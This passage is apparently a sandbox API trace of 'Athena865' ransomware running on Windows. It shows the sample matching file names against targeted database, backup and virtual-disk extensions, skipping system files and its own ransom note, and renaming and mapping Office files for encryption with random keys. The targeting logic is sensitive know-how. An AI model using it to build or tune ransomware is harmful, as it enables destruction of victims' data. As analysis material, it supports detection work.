[0139.763] lstrcmpiW (lpString1="R.VSL", lpString2="accde") returned 1 [0139.763] lstrlenW (lpString="accdr") returned 5 [0139.763] lstrcmpiW (lpString1="R.VSL", lpString2="accdr") returned 1 [0139.763] lstrlenW (lpString="accdt") returned 5 [0139.763] lstrcmpiW (lpString1="R.VSL", lpString2="accdt") returned 1 [0139.763] lstrlenW (lpString="accdw") returned 5 [0139.763] lstrcmpiW (lpString1="R.VSL", lpString2="accdw") returned 1 [0139.763] lstrlenW (lpString="accft") returned 5 [0139.763] lstrcmpiW (lpString1="R.VSL", lpString2="accft") returned 1 [0139.763] lstrlenW (lpString="adb") returned 3 [0139.763] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1 [0139.764] lstrlenW (lpString="adb") returned 3 [0139.764] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1 [0139.764] lstrlenW (lpString="ade") returned 3 [0139.764] lstrcmpiW (lpString1="VSL", lpString2="ade") returned 1 [0139.764] lstrlenW (lpString="adf") returned 3 [0139.764] lstrcmpiW (lpString1="VSL", lpString2="adf") returned 1 [0139.764] lstrlenW (lpString="adn") returned 3 [0139.764] lstrcmpiW (lpString1="VSL", lpString2="adn") returned 1 [0139.764] lstrlenW (lpString="adp") returned 3 [0139.764] lstrcmpiW (lpString1="VSL", lpString2="adp") returned 1 [0139.764] lstrlenW (lpString="alf") returned 3 [0139.764] lstrcmpiW (lpString1="VSL", lpString2="alf") returned 1 [0139.764] lstrlenW (lpString="ask") returned 3 [0139.764] lstrcmpiW (lpString1="VSL", lpString2="ask") returned 1 [0139.764] lstrlenW (lpString="btr") returned 3 [0139.764] lstrcmpiW (lpString1="VSL", lpString2="btr") returned 1 [0139.764] lstrlenW (lpString="cat") returned 3 [0139.764] lstrcmpiW (lpString1="VSL", lpString2="cat") returned 1 [0139.764] lstrlenW (lpString="cdb") returned 3 [0139.764] lstrcmpiW (lpString1="VSL", lpString2="cdb") returned 1 [0139.764] lstrlenW (lpString="ckp") returned 3 [0139.764] lstrcmpiW (lpString1="VSL", lpString2="ckp") returned 1 [0139.764] lstrlenW (lpString="cma") returned 3 [0139.764] lstrcmpiW (lpString1="VSL", lpString2="cma") returned 1 [0139.764] lstrlenW (lpString="cpd") returned 3 [0139.764] lstrcmpiW (lpString1="VSL", lpString2="cpd") returned 1 [0139.764] lstrlenW (lpString="dacpac") returned 6 [0139.764] lstrcmpiW (lpString1="GR.VSL", lpString2="dacpac") returned 1 [0139.764] lstrlenW (lpString="dad") returned 3 [0139.764] lstrcmpiW (lpString1="VSL", lpString2="dad") returned 1 [0139.764] lstrlenW (lpString="dadiagrams") returned 10 [0139.765] lstrlenW (lpString="daschema") returned 8 [0139.765] lstrcmpiW (lpString1="ENGR.VSL", lpString2="daschema") returned 1 [0139.765] lstrlenW (lpString="db-journal") returned 10 [0139.765] lstrlenW (lpString="db-shm") returned 6 [0139.765] lstrcmpiW (lpString1="GR.VSL", lpString2="db-shm") returned 1 [0139.765] lstrlenW (lpString="db-wal") returned 6 [0139.765] lstrcmpiW (lpString1="GR.VSL", lpString2="db-wal") returned 1 [0139.765] lstrlenW (lpString="dbc") returned 3 [0139.765] lstrcmpiW (lpString1="VSL", lpString2="dbc") returned 1 [0139.765] lstrlenW (lpString="dbs") returned 3 [0139.765] lstrcmpiW (lpString1="VSL", lpString2="dbs") returned 1 [0139.765] lstrlenW (lpString="dbt") returned 3 [0139.765] lstrcmpiW (lpString1="VSL", lpString2="dbt") returned 1 [0139.765] lstrlenW (lpString="dbv") returned 3 [0139.765] lstrcmpiW (lpString1="VSL", lpString2="dbv") returned 1 [0139.765] lstrlenW (lpString="dbx") returned 3 [0139.765] lstrcmpiW (lpString1="VSL", lpString2="dbx") returned 1 [0139.765] lstrlenW (lpString="dcb") returned 3 [0139.765] lstrcmpiW (lpString1="VSL", lpString2="dcb") returned 1 [0139.765] lstrlenW (lpString="dct") returned 3 [0139.765] lstrcmpiW (lpString1="VSL", lpString2="dct") returned 1 [0139.765] lstrlenW (lpString="dcx") returned 3 [0139.765] lstrcmpiW (lpString1="VSL", lpString2="dcx") returned 1 [0139.765] lstrlenW (lpString="ddl") returned 3 [0139.765] lstrcmpiW (lpString1="VSL", lpString2="ddl") returned 1 [0139.765] lstrlenW (lpString="dlis") returned 4 [0139.765] lstrcmpiW (lpString1=".VSL", lpString2="dlis") returned -1 [0139.765] lstrlenW (lpString="dp1") returned 3 [0139.765] lstrcmpiW (lpString1="VSL", lpString2="dp1") returned 1 [0139.765] lstrlenW (lpString="dqy") returned 3 [0139.765] lstrcmpiW (lpString1="VSL", lpString2="dqy") returned 1 [0139.766] lstrlenW (lpString="dsk") returned 3 [0139.766] lstrcmpiW (lpString1="VSL", lpString2="dsk") returned 1 [0139.766] lstrlenW (lpString="dsn") returned 3 [0139.766] lstrcmpiW (lpString1="VSL", lpString2="dsn") returned 1 [0139.766] lstrlenW (lpString="dtsx") returned 4 [0139.766] lstrcmpiW (lpString1=".VSL", lpString2="dtsx") returned -1 [0139.766] lstrlenW (lpString="dxl") returned 3 [0139.766] lstrcmpiW (lpString1="VSL", lpString2="dxl") returned 1 [0139.766] lstrlenW (lpString="eco") returned 3 [0139.766] lstrcmpiW (lpString1="VSL", lpString2="eco") returned 1 [0139.766] lstrlenW (lpString="ecx") returned 3 [0139.766] lstrcmpiW (lpString1="VSL", lpString2="ecx") returned 1 [0139.766] lstrlenW (lpString="edb") returned 3 [0139.766] lstrcmpiW (lpString1="VSL", lpString2="edb") returned 1 [0139.766] lstrlenW (lpString="epim") returned 4 [0139.766] lstrcmpiW (lpString1=".VSL", lpString2="epim") returned -1 [0139.766] lstrlenW (lpString="fcd") returned 3 [0139.766] lstrcmpiW (lpString1="VSL", lpString2="fcd") returned 1 [0139.766] lstrlenW (lpString="fdb") returned 3 [0139.766] lstrcmpiW (lpString1="VSL", lpString2="fdb") returned 1 [0139.766] lstrlenW (lpString="fic") returned 3 [0139.766] lstrcmpiW (lpString1="VSL", lpString2="fic") returned 1 [0139.766] lstrlenW (lpString="flexolibrary") returned 12 [0139.766] lstrlenW (lpString="fm5") returned 3 [0139.766] lstrcmpiW (lpString1="VSL", lpString2="fm5") returned 1 [0139.766] lstrlenW (lpString="fmp") returned 3 [0139.766] lstrcmpiW (lpString1="VSL", lpString2="fmp") returned 1 [0139.766] lstrlenW (lpString="fmp12") returned 5 [0139.766] lstrcmpiW (lpString1="R.VSL", lpString2="fmp12") returned 1 [0139.766] lstrlenW (lpString="fmpsl") returned 5 [0139.767] lstrcmpiW (lpString1="R.VSL", lpString2="fmpsl") returned 1 [0139.767] lstrlenW (lpString="fol") returned 3 [0139.767] lstrcmpiW (lpString1="VSL", lpString2="fol") returned 1 [0139.767] lstrlenW (lpString="fp3") returned 3 [0139.767] lstrcmpiW (lpString1="VSL", lpString2="fp3") returned 1 [0139.767] lstrlenW (lpString="fp4") returned 3 [0139.767] lstrcmpiW (lpString1="VSL", lpString2="fp4") returned 1 [0139.767] lstrlenW (lpString="fp5") returned 3 [0139.767] lstrcmpiW (lpString1="VSL", lpString2="fp5") returned 1 [0139.767] lstrlenW (lpString="fp7") returned 3 [0139.767] lstrcmpiW (lpString1="VSL", lpString2="fp7") returned 1 [0139.767] lstrlenW (lpString="fpt") returned 3 [0139.767] lstrcmpiW (lpString1="VSL", lpString2="fpt") returned 1 [0139.767] lstrlenW (lpString="frm") returned 3 [0139.767] lstrcmpiW (lpString1="VSL", lpString2="frm") returned 1 [0139.767] lstrlenW (lpString="gdb") returned 3 [0139.767] lstrcmpiW (lpString1="VSL", lpString2="gdb") returned 1 [0139.767] lstrlenW (lpString="gdb") returned 3 [0139.767] lstrcmpiW (lpString1="VSL", lpString2="gdb") returned 1 [0139.767] lstrlenW (lpString="grdb") returned 4 [0139.767] lstrcmpiW (lpString1=".VSL", lpString2="grdb") returned -1 [0139.767] lstrlenW (lpString="gwi") returned 3 [0139.767] lstrcmpiW (lpString1="VSL", lpString2="gwi") returned 1 [0139.767] lstrlenW (lpString="hdb") returned 3 [0139.767] lstrcmpiW (lpString1="VSL", lpString2="hdb") returned 1 [0139.767] lstrlenW (lpString="his") returned 3 [0139.767] lstrcmpiW (lpString1="VSL", lpString2="his") returned 1 [0139.767] lstrlenW (lpString="ib") returned 2 [0139.768] lstrcmpiW (lpString1="SL", lpString2="ib") returned 1 [0139.768] lstrlenW (lpString="idb") returned 3 [0139.768] lstrcmpiW (lpString1="VSL", lpString2="idb") returned 1 [0139.768] lstrlenW (lpString="ihx") returned 3 [0139.768] lstrcmpiW (lpString1="VSL", lpString2="ihx") returned 1 [0139.768] lstrlenW (lpString="itdb") returned 4 [0139.768] lstrcmpiW (lpString1=".VSL", lpString2="itdb") returned -1 [0139.768] lstrlenW (lpString="itw") returned 3 [0139.768] lstrcmpiW (lpString1="VSL", lpString2="itw") returned 1 [0139.768] lstrlenW (lpString="jet") returned 3 [0139.768] lstrcmpiW (lpString1="VSL", lpString2="jet") returned 1 [0139.768] lstrlenW (lpString="jtx") returned 3 [0139.768] lstrcmpiW (lpString1="VSL", lpString2="jtx") returned 1 [0139.768] lstrlenW (lpString="kdb") returned 3 [0139.768] lstrcmpiW (lpString1="VSL", lpString2="kdb") returned 1 [0139.768] lstrlenW (lpString="kexi") returned 4 [0139.768] lstrcmpiW (lpString1=".VSL", lpString2="kexi") returned -1 [0139.768] lstrlenW (lpString="kexic") returned 5 [0139.768] lstrcmpiW (lpString1="R.VSL", lpString2="kexic") returned 1 [0139.768] lstrlenW (lpString="kexis") returned 5 [0139.768] lstrcmpiW (lpString1="R.VSL", lpString2="kexis") returned 1 [0139.768] lstrlenW (lpString="lgc") returned 3 [0139.768] lstrcmpiW (lpString1="VSL", lpString2="lgc") returned 1 [0139.768] lstrlenW (lpString="lwx") returned 3 [0139.768] lstrcmpiW (lpString1="VSL", lpString2="lwx") returned 1 [0139.768] lstrlenW (lpString="maf") returned 3 [0139.768] lstrcmpiW (lpString1="VSL", lpString2="maf") returned 1 [0139.768] lstrlenW (lpString="maq") returned 3 [0139.768] lstrcmpiW (lpString1="VSL", lpString2="maq") returned 1 [0139.768] lstrlenW (lpString="mar") returned 3 [0139.769] lstrcmpiW (lpString1="VSL", lpString2="mar") returned 1 [0139.769] lstrlenW (lpString="marshal") returned 7 [0139.769] lstrcmpiW (lpString1="NGR.VSL", lpString2="marshal") returned 1 [0139.769] lstrlenW (lpString="mas") returned 3 [0139.769] lstrcmpiW (lpString1="VSL", lpString2="mas") returned 1 [0139.769] lstrlenW (lpString="mav") returned 3 [0139.769] lstrcmpiW (lpString1="VSL", lpString2="mav") returned 1 [0139.769] lstrlenW (lpString="maw") returned 3 [0139.769] lstrcmpiW (lpString1="VSL", lpString2="maw") returned 1 [0139.769] lstrlenW (lpString="mdbhtml") returned 7 [0139.769] lstrcmpiW (lpString1="NGR.VSL", lpString2="mdbhtml") returned 1 [0139.769] lstrlenW (lpString="mdn") returned 3 [0139.769] lstrcmpiW (lpString1="VSL", lpString2="mdn") returned 1 [0139.769] lstrlenW (lpString="mdt") returned 3 [0139.769] lstrcmpiW (lpString1="VSL", lpString2="mdt") returned 1 [0139.769] lstrlenW (lpString="mfd") returned 3 [0139.769] lstrcmpiW (lpString1="VSL", lpString2="mfd") returned 1 [0139.769] lstrlenW (lpString="mpd") returned 3 [0139.769] lstrcmpiW (lpString1="VSL", lpString2="mpd") returned 1 [0139.769] lstrlenW (lpString="mrg") returned 3 [0139.769] lstrcmpiW (lpString1="VSL", lpString2="mrg") returned 1 [0139.769] lstrlenW (lpString="mud") returned 3 [0139.769] lstrcmpiW (lpString1="VSL", lpString2="mud") returned 1 [0139.769] lstrlenW (lpString="mwb") returned 3 [0139.769] lstrcmpiW (lpString1="VSL", lpString2="mwb") returned 1 [0139.769] lstrlenW (lpString="myd") returned 3 [0139.769] lstrcmpiW (lpString1="VSL", lpString2="myd") returned 1 [0139.769] lstrlenW (lpString="ndf") returned 3 [0139.769] lstrcmpiW (lpString1="VSL", lpString2="ndf") returned 1 [0139.769] lstrlenW (lpString="nnt") returned 3 [0139.770] lstrcmpiW (lpString1="VSL", lpString2="nnt") returned 1 [0139.770] lstrlenW (lpString="nrmlib") returned 6 [0139.770] lstrcmpiW (lpString1="GR.VSL", lpString2="nrmlib") returned -1 [0139.770] lstrlenW (lpString="ns2") returned 3 [0139.770] lstrcmpiW (lpString1="VSL", lpString2="ns2") returned 1 [0139.770] lstrlenW (lpString="ns3") returned 3 [0139.770] lstrcmpiW (lpString1="VSL", lpString2="ns3") returned 1 [0139.770] lstrlenW (lpString="ns4") returned 3 [0139.770] lstrcmpiW (lpString1="VSL", lpString2="ns4") returned 1 [0139.770] lstrlenW (lpString="nsf") returned 3 [0139.770] lstrcmpiW (lpString1="VSL", lpString2="nsf") returned 1 [0139.770] lstrlenW (lpString="nv") returned 2 [0139.770] lstrcmpiW (lpString1="SL", lpString2="nv") returned 1 [0139.770] lstrlenW (lpString="nv2") returned 3 [0139.770] lstrcmpiW (lpString1="VSL", lpString2="nv2") returned 1 [0139.770] lstrlenW (lpString="nwdb") returned 4 [0139.770] lstrcmpiW (lpString1=".VSL", lpString2="nwdb") returned -1 [0139.770] lstrlenW (lpString="nyf") returned 3 [0139.770] lstrcmpiW (lpString1="VSL", lpString2="nyf") returned 1 [0139.770] lstrlenW (lpString="odb") returned 3 [0139.770] lstrcmpiW (lpString1="VSL", lpString2="odb") returned 1 [0139.770] lstrlenW (lpString="odb") returned 3 [0139.770] lstrcmpiW (lpString1="VSL", lpString2="odb") returned 1 [0139.770] lstrlenW (lpString="oqy") returned 3 [0139.770] lstrcmpiW (lpString1="VSL", lpString2="oqy") returned 1 [0139.770] lstrlenW (lpString="ora") returned 3 [0139.770] lstrcmpiW (lpString1="VSL", lpString2="ora") returned 1 [0139.770] lstrlenW (lpString="orx") returned 3 [0139.770] lstrcmpiW (lpString1="VSL", lpString2="orx") returned 1 [0139.770] lstrlenW (lpString="owc") returned 3 [0139.770] lstrcmpiW (lpString1="VSL", lpString2="owc") returned 1 [0139.771] lstrlenW (lpString="p96") returned 3 [0139.771] lstrcmpiW (lpString1="VSL", lpString2="p96") returned 1 [0139.771] lstrlenW (lpString="p97") returned 3 [0139.771] lstrcmpiW (lpString1="VSL", lpString2="p97") returned 1 [0139.771] lstrlenW (lpString="pan") returned 3 [0139.771] lstrcmpiW (lpString1="VSL", lpString2="pan") returned 1 [0139.771] lstrlenW (lpString="pdb") returned 3 [0139.771] lstrcmpiW (lpString1="VSL", lpString2="pdb") returned 1 [0139.771] lstrlenW (lpString="pdm") returned 3 [0139.771] lstrcmpiW (lpString1="VSL", lpString2="pdm") returned 1 [0139.771] lstrlenW (lpString="pnz") returned 3 [0139.771] lstrcmpiW (lpString1="VSL", lpString2="pnz") returned 1 [0139.771] lstrlenW (lpString="qry") returned 3 [0139.771] lstrcmpiW (lpString1="VSL", lpString2="qry") returned 1 [0139.771] lstrlenW (lpString="qvd") returned 3 [0139.771] lstrcmpiW (lpString1="VSL", lpString2="qvd") returned 1 [0139.771] lstrlenW (lpString="rbf") returned 3 [0139.771] lstrcmpiW (lpString1="VSL", lpString2="rbf") returned 1 [0139.771] lstrlenW (lpString="rctd") returned 4 [0139.771] lstrcmpiW (lpString1=".VSL", lpString2="rctd") returned -1 [0139.771] lstrlenW (lpString="rod") returned 3 [0139.771] lstrcmpiW (lpString1="VSL", lpString2="rod") returned 1 [0139.771] lstrlenW (lpString="rodx") returned 4 [0139.771] lstrcmpiW (lpString1=".VSL", lpString2="rodx") returned -1 [0139.771] lstrlenW (lpString="rpd") returned 3 [0139.771] lstrcmpiW (lpString1="VSL", lpString2="rpd") returned 1 [0139.771] lstrlenW (lpString="rsd") returned 3 [0139.771] lstrcmpiW (lpString1="VSL", lpString2="rsd") returned 1 [0139.771] lstrlenW (lpString="sas7bdat") returned 8 [0139.772] lstrcmpiW (lpString1="ENGR.VSL", lpString2="sas7bdat") returned -1 [0139.772] lstrlenW (lpString="sbf") returned 3 [0139.772] lstrcmpiW (lpString1="VSL", lpString2="sbf") returned 1 [0139.772] lstrlenW (lpString="scx") returned 3 [0139.772] lstrcmpiW (lpString1="VSL", lpString2="scx") returned 1 [0139.772] lstrlenW (lpString="sdb") returned 3 [0139.772] lstrcmpiW (lpString1="VSL", lpString2="sdb") returned 1 [0139.772] lstrlenW (lpString="sdc") returned 3 [0139.772] lstrcmpiW (lpString1="VSL", lpString2="sdc") returned 1 [0139.772] lstrlenW (lpString="sdf") returned 3 [0139.772] lstrcmpiW (lpString1="VSL", lpString2="sdf") returned 1 [0139.772] lstrlenW (lpString="sis") returned 3 [0139.772] lstrcmpiW (lpString1="VSL", lpString2="sis") returned 1 [0139.772] lstrlenW (lpString="spq") returned 3 [0139.772] lstrcmpiW (lpString1="VSL", lpString2="spq") returned 1 [0139.772] lstrlenW (lpString="te") returned 2 [0139.772] lstrcmpiW (lpString1="SL", lpString2="te") returned -1 [0139.772] lstrlenW (lpString="teacher") returned 7 [0139.772] lstrcmpiW (lpString1="NGR.VSL", lpString2="teacher") returned -1 [0139.772] lstrlenW (lpString="tmd") returned 3 [0139.772] lstrcmpiW (lpString1="VSL", lpString2="tmd") returned 1 [0139.772] lstrlenW (lpString="tps") returned 3 [0139.772] lstrcmpiW (lpString1="VSL", lpString2="tps") returned 1 [0139.772] lstrlenW (lpString="trc") returned 3 [0139.772] lstrcmpiW (lpString1="VSL", lpString2="trc") returned 1 [0139.772] lstrlenW (lpString="trc") returned 3 [0139.772] lstrcmpiW (lpString1="VSL", lpString2="trc") returned 1 [0139.772] lstrlenW (lpString="trm") returned 3 [0139.772] lstrcmpiW (lpString1="VSL", lpString2="trm") returned 1 [0139.773] lstrlenW (lpString="udb") returned 3 [0139.773] lstrcmpiW (lpString1="VSL", lpString2="udb") returned 1 [0139.773] lstrlenW (lpString="udl") returned 3 [0139.773] lstrcmpiW (lpString1="VSL", lpString2="udl") returned 1 [0139.773] lstrlenW (lpString="usr") returned 3 [0139.773] lstrcmpiW (lpString1="VSL", lpString2="usr") returned 1 [0139.773] lstrlenW (lpString="v12") returned 3 [0139.773] lstrcmpiW (lpString1="VSL", lpString2="v12") returned 1 [0139.773] lstrlenW (lpString="vis") returned 3 [0139.773] lstrcmpiW (lpString1="VSL", lpString2="vis") returned 1 [0139.773] lstrlenW (lpString="vpd") returned 3 [0139.773] lstrcmpiW (lpString1="VSL", lpString2="vpd") returned 1 [0139.773] lstrlenW (lpString="vvv") returned 3 [0139.773] lstrcmpiW (lpString1="VSL", lpString2="vvv") returned -1 [0139.773] lstrlenW (lpString="wdb") returned 3 [0139.773] lstrcmpiW (lpString1="VSL", lpString2="wdb") returned -1 [0139.773] lstrlenW (lpString="wmdb") returned 4 [0139.773] lstrcmpiW (lpString1=".VSL", lpString2="wmdb") returned -1 [0139.773] lstrlenW (lpString="wrk") returned 3 [0139.773] lstrcmpiW (lpString1="VSL", lpString2="wrk") returned -1 [0139.773] lstrlenW (lpString="xdb") returned 3 [0139.773] lstrcmpiW (lpString1="VSL", lpString2="xdb") returned -1 [0139.773] lstrlenW (lpString="xld") returned 3 [0139.773] lstrcmpiW (lpString1="VSL", lpString2="xld") returned -1 [0139.773] lstrlenW (lpString="xmlff") returned 5 [0139.773] lstrcmpiW (lpString1="R.VSL", lpString2="xmlff") returned -1 [0139.773] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.Athena865") returned 68 [0139.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.athena865"), dwFlags=0x1) returned 1 [0139.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.776] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=53144) returned 1 [0139.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0139.776] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0139.777] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.777] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.777] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd2a0, lpName=0x0) returned 0x154 [0139.778] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd2a0) returned 0x100000 [0139.781] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0139.782] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.782] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.783] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.783] CloseHandle (hObject=0x154) returned 1 [0139.783] CloseHandle (hObject=0x17c) returned 1 [0139.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0139.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.784] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ea0a00, ftCreationTime.dwHighDateTime=0x1c32175, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x78ea0a00, ftLastWriteTime.dwHighDateTime=0x1c32175, nFileSizeHigh=0x0, nFileSizeLow=0x76000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0139.784] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.784] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.784] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2=".") returned 1 [0139.784] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="..") returned 1 [0139.784] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="windows") returned -1 [0139.784] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="bootmgr") returned 1 [0139.784] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="temp") returned -1 [0139.784] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="pagefile.sys") returned -1 [0139.784] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="boot") returned 1 [0139.784] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="ids.txt") returned -1 [0139.784] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="ntuser.dat") returned -1 [0139.784] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="perflogs") returned -1 [0139.784] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="MSBuild") returned -1 [0139.784] lstrlenW (lpString="DBSAMPLE.MDB") returned 12 [0139.784] lstrcpyW (in: lpString1=0x241e8a8, lpString2="DBSAMPLE.MDB" | out: lpString1="DBSAMPLE.MDB") returned="DBSAMPLE.MDB" [0139.784] lstrlenW (lpString="DBSAMPLE.MDB") returned 12 [0139.784] lstrlenW (lpString="Athena865") returned 9 [0139.784] lstrcmpiW (lpString1="AMPLE.MDB", lpString2="Athena865") returned -1 [0139.784] lstrlenW (lpString=".dll") returned 4 [0139.784] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2=".dll") returned 1 [0139.785] lstrlenW (lpString=".lnk") returned 4 [0139.785] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2=".lnk") returned 1 [0139.785] lstrlenW (lpString=".ini") returned 4 [0139.785] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2=".ini") returned 1 [0139.785] lstrlenW (lpString=".sys") returned 4 [0139.785] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2=".sys") returned 1 [0139.785] lstrlenW (lpString="DBSAMPLE.MDB") returned 12 [0139.785] lstrlenW (lpString="bak") returned 3 [0139.785] lstrcmpiW (lpString1="MDB", lpString2="bak") returned 1 [0139.785] lstrlenW (lpString="ba_") returned 3 [0139.785] lstrcmpiW (lpString1="MDB", lpString2="ba_") returned 1 [0139.785] lstrlenW (lpString="dbb") returned 3 [0139.785] lstrcmpiW (lpString1="MDB", lpString2="dbb") returned 1 [0139.785] lstrlenW (lpString="vmdk") returned 4 [0139.785] lstrcmpiW (lpString1=".MDB", lpString2="vmdk") returned -1 [0139.785] lstrlenW (lpString="rar") returned 3 [0139.785] lstrcmpiW (lpString1="MDB", lpString2="rar") returned -1 [0139.785] lstrlenW (lpString="zip") returned 3 [0139.785] lstrcmpiW (lpString1="MDB", lpString2="zip") returned -1 [0139.785] lstrlenW (lpString="tgz") returned 3 [0139.785] lstrcmpiW (lpString1="MDB", lpString2="tgz") returned -1 [0139.785] lstrlenW (lpString="vbox") returned 4 [0139.785] lstrcmpiW (lpString1=".MDB", lpString2="vbox") returned -1 [0139.785] lstrlenW (lpString="vdi") returned 3 [0139.785] lstrcmpiW (lpString1="MDB", lpString2="vdi") returned -1 [0139.785] lstrlenW (lpString="vhd") returned 3 [0139.785] lstrcmpiW (lpString1="MDB", lpString2="vhd") returned -1 [0139.785] lstrlenW (lpString="vhdx") returned 4 [0139.785] lstrcmpiW (lpString1=".MDB", lpString2="vhdx") returned -1 [0139.785] lstrlenW (lpString="avhd") returned 4 [0139.786] lstrcmpiW (lpString1=".MDB", lpString2="avhd") returned -1 [0139.786] lstrlenW (lpString="db") returned 2 [0139.786] lstrcmpiW (lpString1="DB", lpString2="db") returned 0 [0139.786] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.Athena865") returned 70 [0139.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb.athena865"), dwFlags=0x1) returned 1 [0139.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.788] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=483328) returned 1 [0139.788] RtlAllocateHeap (HeapHandle=0x4f0000, 